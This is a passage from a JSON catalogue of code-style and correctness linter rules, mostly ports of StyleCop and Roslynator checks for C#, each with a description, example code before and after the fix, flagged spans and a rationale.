        "fixed": "using System;\n/// <summary>Text.</summary>\npublic class PlainComments\n{\n    /// plain text on a field\n    public int Field;\n    /// first line\n    /// second line\n    public void Attached() { }\n    /// <summary>Good.</summary>\n    /// extra text after the summary\n    public void Mixed() { }\n    void Body()\n    {\n        // plain in a body\n        int j = 0;\n\n        //\n        int k = 0;\n\n        /// <summary>Not plain.</summary>\n        int l = 0;\n    }\n    /** plain block */\n    public int Block;\n    //// four slashes\n    public int Four;\n    int last; //trailing\n}\n/// <summary>Text.</summary>\npublic class Empties\n{\n    /// <summary>Text.</summary>\n    /// <remarks></remarks>\n    /// <example />\n    /// <exception cref=\"System.Exception\"></exception>\n    /// <exception cref=\"System.ArgumentException\">Thrown.</exception>\n    /// <permission cref=\"System.Security.PermissionSet\" />\n    /// <remarks>\n    /// </remarks>\n    /// <remarks>Text.</remarks>\n    /// <returns></returns>\n    public int Elements() => 0;\n    /// <summary>\n    /// Text.\n    /// <remarks></remarks>\n    /// </summary>\n    public void Nested() { }\n    /// <remarks></remarks>\n    int Hidden;\n    /// <remarks><see cref=\"Hidden\"/>.</remarks>\n    public int Cref;\n    /// <remarks><!-- comment --></remarks>\n    public int Comment;\n}\n",
        "input": "using System;\n/// <summary>Text.</summary>\npublic class PlainComments\n{\n    /// plain text on a field\n    public int Field;\n    /// first line\n    /// second line\n    public void Attached() { }\n    /// <summary>Good.</summary>\n    /// extra text after the summary\n    public void Mixed() { }\n    void Body()\n    {\n        /// plain in a body\n        int j = 0;\n\n        ///\n        int k = 0;\n\n        /// <summary>Not plain.</summary>\n        int l = 0;\n    }\n    /** plain block */\n    public int Block;\n    //// four slashes\n    public int Four;\n    int last; ///trailing\n}\n/// <summary>Text.</summary>\npublic class Empties\n{\n    /// <summary>Text.</summary>\n    /// <remarks></remarks>\n    /// <example />\n    /// <exception cref=\"System.Exception\"></exception>\n    /// <exception cref=\"System.ArgumentException\">Thrown.</exception>\n    /// <permission cref=\"System.Security.PermissionSet\" />\n    /// <remarks>\n    /// </remarks>\n    /// <remarks>Text.</remarks>\n    /// <returns></returns>\n    public int Elements() => 0;\n    /// <summary>\n    /// Text.\n    /// <remarks></remarks>\n    /// </summary>\n    public void Nested() { }\n    /// <remarks></remarks>\n    int Hidden;\n    /// <remarks><see cref=\"Hidden\"/></remarks>\n    public int Cref;\n    /// <remarks><!-- comment --></remarks>\n    public int Comment;\n}\n",
        "language": "csharp",
        "other_lines": [
          34,
          35,
          36,
          38,
          39,
          41,
          46,
          49,
          51,
          53
        ],
        "spans": [
          {
            "column": 5,
            "length": 3,
            "line": 5
          },
          {
            "column": 5,
            "length": 3,
            "line": 7
          },
          {
            "column": 5,
            "length": 3,
            "line": 8
          },
          {
            "column": 9,
            "length": 3,
            "line": 15
          },
          {
            "column": 9,
            "length": 3,
            "line": 18
          },
          {
            "column": 15,
            "length": 3,
            "line": 28
          }
        ]
      },
      "fix": "safe",
      "id": "no-doc-slashes-in-plain-comment",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1626",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1626.md"
        }
      ],
      "why": "Three slashes make the comment documentation, and the compiler and tools then read it as XML. A plain remark written that way is attached to the next declaration and shown in its hover, or reported as malformed.\n\nTo fix, write `//`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports two elements of one documentation comment with the same text (a `<param>` pasted twice, for example). Empty elements and \"The parameter is not used.\" are not reported. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System;\n/// <summary>Text.</summary>\npublic class Duplicates\n{\n    /// <summary>The value.</summary>\n    /// <param name=\"a\">The value.</param>\n    /// <param name=\"b\">The value.</param>\n    /// <param name=\"c\">The parameter is not used.</param>\n    /// <param name=\"d\">The parameter is not used.</param>\n    /// <param name=\"e\" />\n    /// <param name=\"f\" />\n    /// <returns>Other.</returns>\n    public int Dup(int a, int b, int c, int d, int e, int f) => 0;\n    /// <summary>The  value.</summary>\n    /// <remarks>The\n    /// value.</remarks>\n    public void Spacing() { }\n    /// <summary>Inline <see cref=\"Duplicates\"/> text.</summary>\n    /// <remarks>Inline <see cref=\"Duplicates\"/> text.</remarks>\n    /// <seealso cref=\"Duplicates\"/>\n    /// <seealso cref=\"Duplicates\"/>\n    public void Inline() { }\n    /// <summary>Same.</summary>\n    /// <summary>Same.</summary>\n    public void TwoSummaries() { }\n    /// <summary>Same.</summary>\n    /// <inheritdoc />\n    /// <inheritdoc />\n    public void Inherited() { }\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 34,
            "line": 6
          },
          {
            "column": 9,
            "length": 34,
            "line": 7
          },
          {
            "column": 9,
            "length": 1,
            "line": 15
          },
          {
            "column": 9,
            "length": 56,
            "line": 19
          },
          {
            "column": 9,
            "length": 28,
            "line": 21
          },
          {
            "column": 9,
            "length": 24,
            "line": 24
          },
          {
            "column": 9,
            "length": 14,
            "line": 28
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-doc-text",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1625",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1625.md"
        }
      ],
      "why": "Two parameters described in the same words is almost always a copy and paste that was not edited, so one of the descriptions is wrong.\n\nTo fix, write the right text for each element."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an attribute with empty parentheses: `[Foo()]` is `[Foo]`. Parentheses with a comment in them are not reported. The fix removes the parentheses.",
      "example": {
        "config": null,
        "fixed": "[assembly: A]\n[assembly: B]\nclass C {\n [A]\n [B]\n void F([A, B] int p) { }\n [A, // why\n  B]\n int x;\n Action a = delegate() { };\n}\n",
        "input": "[assembly: A, B]\nclass C {\n [A(), B]\n void F([A, B] int p) { }\n [A, // why\n  B]\n int x;\n Action a = delegate() { };\n}\n",
        "language": "csharp",
        "other_lines": [
          1,
          6,
          8
        ],
        "spans": [
          {
            "column": 4,
            "length": 1,
            "line": 3
          }
        ]
      },
      "fix": "safe",
      "id": "no-empty-attribute-parens",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1411",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1411.md"
        }
      ],
      "why": "The parentheses add two characters and no meaning: the attribute is constructed in both cases with its parameterless constructor."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an anonymous method with an empty parameter list: `delegate() { }` is `delegate { }`. Parentheses with a comment in them are not reported. The fix is unsafe: without a parameter list the method also converts to delegate types that have parameters, which can change which overload is chosen.",
      "example": {
        "config": null,
        "fixed": "[assembly: A]\n[assembly: B]\nclass C {\n [A]\n [B]\n void F([A, B] int p) { }\n [A, // why\n  B]\n int x;\n Action a = delegate() { };\n}\n",
        "input": "[assembly: A, B]\nclass C {\n [A(), B]\n void F([A, B] int p) { }\n [A, // why\n  B]\n int x;\n Action a = delegate() { };\n}\n",
        "language": "csharp",
        "other_lines": [
          1,
          3,
          6
        ],
        "spans": [
          {
            "column": 21,
            "length": 1,
            "line": 8
          }
        ]
      },
      "fix": "unsafe",
      "id": "no-empty-delegate-parens",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1410",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1410.md"
        }
      ],
      "why": "`delegate { }` is the shorter spelling of the same body, and the empty parentheses add nothing to read. They are not always the same to the compiler: the form without a list also converts to delegate types that have parameters, which can change which overload is chosen, and that is why the fix is unsafe."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a lone `;` that does nothing. A statement labelled `label: ;` is not reported. The fix removes the statement (its whole line when it is alone on it), or turns an empty loop or `if` body into `{ }`; it is not offered for the only statement of a switch section. The compiler reports `if (x);` too.",
      "example": {
        "config": null,
        "fixed": "class A { void F(bool x, int y) {\n if (x){ } else { }\n while (x) /* c */ { }\n switch (y) { case 1:  break; default: ; }\n L: ;\n int z = 1;\n} }\n",
        "input": "class A { void F(bool x, int y) {\n ;\n if (x); else { }\n while (x) /* c */ { }\n switch (y) { case 1: ; break; default: ; }\n L: ;\n int z = 1;;\n} }\n",
        "language": "csharp",
        "other_lines": [
          4
        ],
        "spans": [
          {
            "column": 2,
            "length": 1,
            "line": 2
          },
          {
            "column": 8,
            "length": 1,
            "line": 3
          },
          {
            "column": 23,
            "length": 1,
            "line": 5
          },
          {
            "column": 41,
            "length": 1,
            "line": 5
          },
          {
            "column": 12,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": "safe",
      "id": "no-empty-statement",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1106",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1106.md"
        }
      ],
      "why": "A stray `;` is usually the result of a typo or an edit. After `if (x);` or `while (x);` it is the body of the statement, so the line that follows runs unconditionally, whatever its indentation says.\n\nTo fix, delete the `;`, or write `{ }` for a body that is meant to be empty."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a character class in the constant string given to `new Regex(...)` and the static methods of `Regex`, in which a combining mark follows another character.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  void f(String s) {\n    Pattern.compile(\"\\u001f\");\n    Pattern.compile(\"a  b\");\n    Pattern.matches(\"[a\" + \"\\u0301]\", s);\n    Pattern.compile(\"a b\");\n    Other.compile(\"a  b\");\n    Pattern.compile(s);\n  }\n}\n",
        "language": "java",
        "other_lines": [
          3,
          4
        ],
        "spans": [
          {
            "column": 5,
            "length": 36,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-misleading-character-class",
      "languages": [
        "csharp",
        "java",
        "js",
        "php",
        "python"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-misleading-character-class",
          "note": "the surrogate pair, emoji modifier, flag and joined-sequence checks are not made",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-misleading-character-class"
        }
      ],
      "why": "A combining mark is a separate code point that attaches to the character before it. In a character class each code point is its own member, so the class matches the base letter or the mark alone and never the combined character the author sees.\n\nTo fix, write the combined character as a group outside the class, or as a single precomposed character."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports two or more spaces outside a character class in the constant string given to `new Regex(...)` and the static methods of `Regex`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  void f(String s) {\n    Pattern.compile(\"\\u001f\");\n    Pattern.compile(\"a  b\");\n    Pattern.matches(\"[a\" + \"\\u0301]\", s);\n    Pattern.compile(\"a b\");\n    Other.compile(\"a  b\");\n    Pattern.compile(s);\n  }\n}\n",
        "language": "java",
        "other_lines": [
          3,
          5
        ],
        "spans": [
          {
            "column": 5,
            "length": 23,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-regex-spaces",
      "languages": [
        "csharp",
        "java",
        "js",
        "php",
        "python"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-regex-spaces",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-regex-spaces"
        }
      ],
      "why": "Several spaces in a row are hard to count, and a pattern that has them is easily changed by an editor that collapses white space or by a reader who counts wrongly. The number of spaces is part of what the pattern matches.\n\nTo fix, write the number as a count (`a {3}b`)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `#region` inside a block (a method, accessor or lambda body, or any block in one). Regions belong between members. No fix.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "using System.Diagnostics.CodeAnalysis;\n[assembly: SuppressMessage(\"C\", \"I\")]\n[assembly: SuppressMessage(\"C\", \"I\", Justification = \"<Pending>\")]\nnamespace N { class Other { void M() {\n#region R\n#endregion\n} } class B { } struct S { } namespace M { } }\n",
        "language": "csharp",
        "other_lines": [
          2,
          3,
          7
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-region-in-body",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1123",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1123.md"
        }
      ],
      "why": "A region in a body splits one piece of logic with a fold that hides the middle of it. A body that needs sections is a body that should be split into methods.\n\nTo fix, extract the section into a method and delete the region."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports every `#region` outside a block (a region inside a block is `no-region-in-body`'s), also in disabled `#if` branches. No fix, because removing a pair is a judgment call.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n# region R\n int a;\n#  endregion\n# if X\n int b;\n#endif\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-regions",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1124",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1124.md"
        }
      ],
      "why": "A region hides code behind a label, so a reader of a large class sees only the labels and not the size of what is behind them. Regions make a file longer without making it clearer, and are often a sign that the class should be split.\n\nTo fix, remove the region, or move its members to a class of their own."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<returns>` on a method or delegate that returns `void`. The fix removes the element with its line when it is alone on it.",
      "example": {
        "config": null,
        "fixed": "using System.Threading.Tasks;\n/// <summary>Return values.</summary>\npublic class Returns\n{\n    /// <summary>Returns.</summary>\n    public int NoReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns></returns>\n    public int EmptyReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns />\n    public int SelfClosingReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>The value.</returns>\n    public int GoodReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>\n    /// </returns>\n    public int BlankReturns() => 0;\n    /// <summary>Does.</summary>\n    public void VoidReturns() { }\n    /// <summary>Does.</summary>\n    public void VoidEmptyReturns() { }\n    /// <summary>Does.</summary>\n    public void VoidSelfClosingReturns() { }\n    /// <summary>Does.</summary>\n    public Task AsyncNoReturns() => null;\n    /// <summary>Does.</summary>\n    /// <inheritdoc />\n    public int Inherited() => 0;\n    /// <summary>Does.</summary>\n    /// <returns></returns>\n    /// <inheritdoc />\n    public int InheritedEmpty() => 0;\n    /// <summary>Does.</summary>\n    private int PrivateNoReturns() => 0;\n    /// <summary>Does.</summary>\n    internal int InternalNoReturns() => 0;\n    /// <summary>Does.</summary>\n    protected int ProtectedNoReturns() => 0;\n    /// <summary>Does.</summary>\n    public static int operator +(Returns a, Returns b) => 0;\n    /// <summary>Delegate.</summary>\n    public delegate int Callback();\n    /// <summary>Delegate.</summary>\n    public delegate void VoidCallback();\n    /// <summary>Does.</summary>\n    public ref int RefReturn() => throw null;\n}\n",
        "input": "using System.Threading.Tasks;\n/// <summary>Return values.</summary>\npublic class Returns\n{\n    /// <summary>Returns.</summary>\n    public int NoReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns></returns>\n    public int EmptyReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns />\n    public int SelfClosingReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>The value.</returns>\n    public int GoodReturns() => 0;\n    /// <summary>Returns.</summary>\n    /// <returns>\n    /// </returns>\n    public int BlankReturns() => 0;\n    /// <summary>Does.</summary>\n    /// <returns>Nothing.</returns>\n    public void VoidReturns() { }\n    /// <summary>Does.</summary>\n    /// <returns></returns>\n    public void VoidEmptyReturns() { }\n    /// <summary>Does.</summary>\n    /// <returns />\n    public void VoidSelfClosingReturns() { }\n    /// <summary>Does.</summary>\n    public Task AsyncNoReturns() => null;\n    /// <summary>Does.</summary>\n    /// <inheritdoc />\n    public int Inherited() => 0;\n    /// <summary>Does.</summary>\n    /// <returns></returns>\n    /// <inheritdoc />\n    public int InheritedEmpty() => 0;\n    /// <summary>Does.</summary>\n    private int PrivateNoReturns() => 0;\n    /// <summary>Does.</summary>\n    internal int InternalNoReturns() => 0;\n    /// <summary>Does.</summary>\n    protected int ProtectedNoReturns() => 0;\n    /// <summary>Does.</summary>\n    public static int operator +(Returns a, Returns b) => 0;\n    /// <summary>Delegate.</summary>\n    public delegate int Callback();\n    /// <summary>Delegate.</summary>\n    /// <returns>Nothing.</returns>\n    public delegate void VoidCallback();\n    /// <summary>Does.</summary>\n    public ref int RefReturn() => throw null;\n}\n",
        "language": "csharp",
        "other_lines": [
          6,
          8,
          11,
          17,
          30,
          41,
          43,
          47,
          52
        ],
        "spans": [
          {
            "column": 9,
            "length": 27,
            "line": 21
          },
          {
            "column": 9,
            "length": 19,
            "line": 24
          },
          {
            "column": 9,
            "length": 11,
            "line": 27
          },
          {
            "column": 9,
            "length": 27,
            "line": 49
          }
        ]
      },
      "fix": "safe",
      "id": "no-returns-on-void",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1617",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1617.md"
        }
      ],
      "why": "There is nothing to return, so the tag documents a value that does not exist and is shown in the reference as a result."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `base.M()` or `base[i]` where the type does not override the member, so `this` binds to the same one. The fix writes `this`.",
      "example": {
        "config": null,
        "fixed": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using A.C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go((int, int) t) {\n      this.Run();\n      var s = default(S);\n      var d = default(DateTime);\n      var g = (1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "input": "using System;\nusing System.Diagnostics;\nnamespace A.B {\n  using C.D;\n  struct S { }\n  interface I { (int, int) Pair(); }\n  class P { public virtual void Run() { } }\n  class Q : P, I {\n    public (int, int) Pair() => (1, 2);\n    public (int, int) Other() => (1, 2);\n    public void Go(ValueTuple<int, int> t) {\n      base.Run();\n      var s = new S();\n      var d = new DateTime();\n      var g = ValueTuple.Create(1, 2);\n      Debug.Assert(true);\n      Debug.Assert(true, \"why\");\n      Debug.Fail(\"\");\n    }\n    /// <inheritdoc/>\n    public void Own() { }\n  }\n}\nnamespace C.D { }\nnamespace A.C.D { }\n",
        "language": "csharp",
        "other_lines": [
          4,
          6,
          10,
          11,
          13,
          14,
          15,
          16,
          18,
          20
        ],
        "spans": [
          {
            "column": 7,
            "length": 4,
            "line": 12
          }
        ]
      },
      "fix": "safe",
      "id": "no-unneeded-base-prefix",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1100",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1100.md"
        }
      ],
      "why": "`base.` says that the call goes to the parent on purpose, and a reader looks for the override that makes this necessary. When there is none, `this.M()` is the same call, and the `base` is a misleading hint."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an import of every name of a package or module (`import a.b.*;` in Java and Kotlin, `from a import *` in Python, `import . \"fmt\"` in Go). A named import is not reported. Off by default.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nimport (\n\t. \"fmt\"\n\t\"os\"\n\t_ \"embed\"\n\tm \"math\"\n)\n\nimport . \"strings\"\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 2,
            "length": 7,
            "line": 4
          },
          {
            "column": 8,
            "length": 11,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "no-wildcard-imports",
      "languages": [
        "csharp",
        "go",
        "java",
        "js",
        "kotlin",
        "python"
      ],
      "options": [
        {
          "default": [
            "."
          ],
          "description": "The aliases that bring in every name of the imported package",
          "name": "wildcard_aliases",
          "type": "list"
        }
      ],
      "presets": [
        "go/revive",
        "java/google",
        "kotlin/ktlint"
      ],
      "upstream": [
        {
          "id": "AvoidStarImport",
          "note": "No allow-list option.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/imports/avoidstarimport.html#AvoidStarImport"
        },
        {
          "id": "no-wildcard-imports",
          "partial": false,
          "tool": "ktlint",
          "url": "https://ktlint.github.io/ktlint/1.8.0/rules/standard/#no-wildcard-imports"
        },
        {
          "id": "dot-imports",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#dot-imports"
        },
        {
          "id": "F403",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F403/"
        }
      ],
      "why": "A wildcard hides where a name comes from, and a name added to the package later can silently clash with one in the file or change which one a call reaches. Tools and readers cannot tell from the imports what the file uses.\n\nTo fix, import the names the file uses."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `Nullable<int>` or `System.Nullable<int>`, which is `int?`. The check is by name: a type of your own called `Nullable` is reported too. It is not reported in `using` aliases, in `nameof`, in `typeof(Nullable<>)`, and before a member access (`Nullable<int>.Equals`). The fix writes `int?`.",
      "example": {
        "config": null,
        "fixed": "class A {\n int a, b;\n int? n = (long)1 < 2 ? null : null;\n void F(object o, int i) {\n  var f = delegate (int x) { return x; };\n  var g = null == o || 1 < i;\n  var h = (float)1 + (double)2.5;\n }\n}\n",
        "input": "class A {\n int a, b;\n Nullable<int> n = (long)1 < 2 ? null : null;\n void F(object o, int i) {\n  var f = delegate (int x) { return x; };\n  var g = null == o || 1 < i;\n  var h = (float)1 + (double)2.5;\n }\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 2,
            "length": 13,
            "line": 3
          }
        ]
      },
      "fix": "safe",
      "id": "nullable-shorthand",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop",
        "csharp/roslynator"
      ],
      "upstream": [
        {
          "id": "RCS1020",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1020"
        },
        {
          "id": "SA1125",
          "partial": false,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1125.md"
        }
      ],
      "why": "`int?` is the form of the language and is shorter. One spelling makes the nullable types easy to find, and `Nullable<T>` stays for the places where the generic name is the point."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a member or element access on an expression that the nullable analysis says may be null. Only code under `#nullable enable` is checked. Off by default: the compiler reports the same thing.",
      "fix": null,
      "id": "possible-null-dereference",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/roslynator"
      ],
      "upstream": [
        {
          "id": "RCS1202",
          "partial": false,
          "tool": "Roslynator",
          "url": "https://josefpihrt.github.io/docs/roslynator/analyzers/RCS1202"
        }
      ],
      "why": "Dereferencing a null reference throws `NullReferenceException` at run time, so the warning points at a crash that the code allows.\n\nTo fix, check for null before the access, or change the type if it cannot be null."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a property summary that does not start with \"Gets\", \"Sets\" or \"Gets or sets\" as the accessors that are reachable from outside the type say; for `bool` properties \"Gets a value indicating whether\" and the like. The type is read from the declaration (`bool`, `Boolean`, `System.Boolean`). The fix replaces the start of the text and lower-cases what follows, and is unsafe.",
      "example": {
        "config": null,
        "fixed": "using System;\n/// <summary>Properties of an internal class.</summary>\ninternal class InternalProperties\n{\n    /// <summary>Gets or sets the count.</summary>\n    protected internal int Both { get; protected set; }\n\n    /// <summary>Gets or sets the count.</summary>\n    protected internal int GoodBoth { get; protected set; }\n\n    /// <summary>Gets or sets the count.</summary>\n    public int PublicBoth { get; internal set; }\n}\n",
        "input": "using System;\n/// <summary>Properties of an internal class.</summary>\ninternal class InternalProperties\n{\n    /// <summary>The count.</summary>\n    protected internal int Both { get; protected set; }\n\n    /// <summary>Gets or sets the count.</summary>\n    protected internal int GoodBoth { get; protected set; }\n\n    /// <summary>Gets or sets the count.</summary>\n    public int PublicBoth { get; internal set; }\n}\n",
        "language": "csharp",
        "other_lines": [],
        "spans": [
          {
            "column": 28,
            "length": 4,
            "line": 6
          }
        ]
      },
      "fix": "unsafe",
      "id": "property-summary-matches-accessors",
      "languages": [
        "csharp"
      ],
      "options": [],
      "presets": [
        "csharp/stylecop"
      ],
      "upstream": [
        {
          "id": "SA1623",
          "note": "a property whose type is an alias of `System.Boolean` (using alias) is not recognized as `bool`",
          "partial": true,
          "tool": "StyleCop",
          "url": "https://github.com/DotNetAnalyzers/StyleCopAnalyzers/blob/master/documentation/SA1623.md"
        }
      ],
      "why": "A summary that says \"Gets or sets\" for a property that can only be read promises something the caller cannot do. The first words are a contract that tools and readers rely on."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a property summary that says \"Gets or sets\" while one of the accessors is not reachable from outside the type (`private set`, `internal get` on a public property). The fix replaces the start of the text with the one that matches the visible accessor and is unsafe.",
      "example": {
        "config": null,
        "fixed": "using System;\n/// <summary>Properties.</summary>\npublic class Properties\n{\n    /// <summary>Gets a value indicating whether it is ready.</summary>\n    public bool? NullableBool { get; }\n    /// <summary>Gets the count.</summary>\n    internal int InternalBoth { get; private set; }\n    /// <summary>Gets the count.</summary>\n    protected int ProtectedPrivateSet { get; private set; }\n    /// <summary>Gets the count.</summary>\n    protected internal int ProtectedInternalSet { get; internal set; }\n    /// <summary>Gets the count.</summary>\n    public int InternalSet { get; internal set; }\n    /// <summary>Gets or sets the count.</summary>\n    public int ProtectedSet { get; protected set; }\n    /// <summary>Sets the count.</summary>\n    public int InternalGetPublicSet { internal get; set; }\n    /// <summary>Gets the expression.</summary>\n    public int Expression => 1;\n    /// <summary>Gets the expression.</summary>\n    public int GoodExpression => 1;\n    /// <summary>\n    /// <see cref=\"Both\"/> Gets the count.\n    /// </summary>\n    public int StartsWithSee { get; }\n    /// <summary>\n    /// Gets or sets the thing.\n    /// </summary>\n    public string MultiLine { get; set; }\n    /// <summary>\n    /// Gets or sets the thing.\n    /// </summary>\n    public string MultiLineWrong { get; set; }\n    /// <summary></summary>\n    public int Blank { get; }\n    /// <summary />\n    public int SelfClosing { get; }\n    /// <inheritdoc />\n    public int Inherited { get; }\n    /// <summary>The count.</summary>\n    /// <inheritdoc />\n    public int InheritedWithSummary { get; }\n    /// <summary>Gets or sets the count.</summary>\n    private int PrivateProperty { get; set; }\n    /// <summary>Gets or sets the count.</summary>\n    int ImplicitPrivate { get; set; }\n    /// <summary>Gets or sets the count.</summary>\n    public int this[int index] { get => index; }\n    /// <summary>Gets the count.</summary>\n    public ref int RefProperty => throw null;\n}\n",
        "input": "using System;\n/// <summary>Properties.</summary>\npublic class Properties\n{\n    /// <summary>Gets a value indicating whether it is ready.</summary>\n    public bool? NullableBool { get; }\n    /// <summary>Gets or sets the count.</summary>\n    internal int InternalBoth { get; private set; }\n    /// <summary>Gets or sets the count.</summary>\n    protected int ProtectedPrivateSet { get; private set; }\n    /// <summary>Gets or sets the count.</summary>\n    protected internal int ProtectedInternalSet { get; internal set; }\n    /// <summary>Gets or sets the count.</summary>\n    public int InternalSet { get; internal set; }\n    /// <summary>Gets or sets the count.</summary>\n    public int ProtectedSet { get; protected set; }\n    /// <summary>Gets the count.</summary>\n    public int InternalGetPublicSet { internal get; set; }\n    /// <summary>The expression.</summary>\n    public int Expression => 1;\n    /// <summary>Gets the expression.</summary>\n    public int GoodExpression => 1;\n    /// <summary>\n    /// <see cref=\"Both\"/> Gets the count.\n    /// </summary>\n    public int StartsWithSee { get; }\n    /// <summary>\n    /// Gets or sets the thing.\n    /// </summary>\n    public string MultiLine { get; set; }\n    /// <summary>\n    /// The thing.\n    /// </summary>\n    public string MultiLineWrong { get; set; }\n    /// <summary></summary>\n    public int Blank { get; }\n    /// <summary />\n    public int SelfClosing { get; }\n    /// <inheritdoc />\n    public int Inherited { get; }\n    /// <summary>The count.</summary>\n    /// <inheritdoc />\n    public int InheritedWithSummary { get; }\n    /// <summary>The count.</summary>\n    private int PrivateProperty { get; set; }\n    /// <summary>The count.</summary>\n    int ImplicitPrivate { get; set; }\n    /// <summary>Gets or sets the count.</summary>\n    public int this[int index] { get => index; }\n    /// <summary>The count.</summary>\n    public ref int RefProperty => throw null;\n}\n",
        "language": "csharp",
        "other_lines": [
          18,
          20,
          34,
          36,
          45,
          47,
          51
        ],
        "spans": [
          {
            "column": 18,
            "length": 12,
            "line": 8
          },
